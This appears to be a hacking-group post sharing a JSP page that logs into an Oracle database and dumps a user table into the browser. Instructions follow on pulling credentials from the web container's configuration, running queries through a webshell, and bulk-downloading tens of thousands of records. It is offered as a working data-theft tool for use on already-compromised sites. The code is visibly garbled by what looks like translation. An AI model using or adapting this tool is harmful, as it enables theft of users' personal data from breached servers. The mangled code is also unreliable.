Author: YoCo Smart
From: Silic Group Hacker Army
Http://blackbap.org
Check the Code directly.
<% @ Page contentType = "text/html; charset = gb2312" %>
<% @ Page import = "java. lang. *" %>
<% @ Page import = "java. SQL. *" %>
<% @ Page import = "java. util. *" %>
<% @ Page import = "java. io. *" %>
<Html>
<Head>
<Meta http-equiv = Content-Type content = "text/html; charset = gb2312">
<Title> xxx </title>
<Style type = "text/css">
Body, td {font-size: 12px ;}
Body {margin-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px ;}
Td {white-space: nowrap ;}
A {color: black; text-decoration: none ;}
</Style>
</Head>
<Body>
<Body>
<Table border = 1>
<Tr>
<Td> 1 </td> <td> 2 </td> <td> 3 </td> <td> 4 </td> <td> 5 </td> <td> 6 </td> <td> 7 </td> <td> 8 </td> <td> 9 </td> <td> 10 </td>
</Tr>
<% Class. forName ("oracle. jdbc. driver. OracleDriver"). newInstance ();
String url = "jdbc: oracle: thin :@ localhost: 1521: orcl ";
String user = "oracle_admin ";
String password = "oracle_password ";
Connection conn = DriverManager. getConnection (url, user, password );
Statement stmt = conn. createStatement (ResultSet. TYPE_SCROLL_SENSITIVE, ResultSet. CONCUR_UPDATABLE );
String SQL = "SELECT 1, 2, 4, 5, 6, 7, 8, 9, 10 from user_info ";
ResultSet rs1_stmt.exe cuteQuery (SQL );
While (rs. next () {%>
<Tr>
<Td> <% = rs. getString (1) %> </td>
<Td> <% = rs. getString (2) %> </td>
<Td> <% = rs. getString (3) %> </td>
<Td> <% = rs. getString (4) %> </td>
<Td> <% = rs. getString (5) %> </td>
<Td> <% = rs. getString (6) %> </td>
<Td> <% = rs. getString (7) %> </td>
<Td> <% = rs. getString (8) %> </td>
<Td> <% = rs. getString (9) %> </td>
<Td> <% = rs. getString (10) %> </td>
</Tr>
<% }%>
<% Rs. close ();
Stmt. close ();
Conn. close ();
%>
</Body>
</Html>
Instructions for use:
Line24 ~ Line26 respectively set the login url, login account and password of the Oracle database
Login information is usually located in the. xml configuration file of the website container.
Line29 sets the table to be exported. Before exporting, run select count (*) from table name in webshell or database to check the number of records.
Generally, over records may cause the browser to run out of resources and crash.
Select is followed by several fields, line21 is followed by several td tags, followed by several re. getString.
If the data exceeds, you can add a where rownum <11 after the select statement of line29 to limit the number of results. If the returned results are returned, save them. If no results are returned, check the SQL statement syntax or connection information.
After tens of thousands of data is saved, the configuration information can be downloaded by throwing the program url into thunder, FlashGET, and other programs. The download process will always show 99% until the download is complete, because the file size is unknown before the download ends.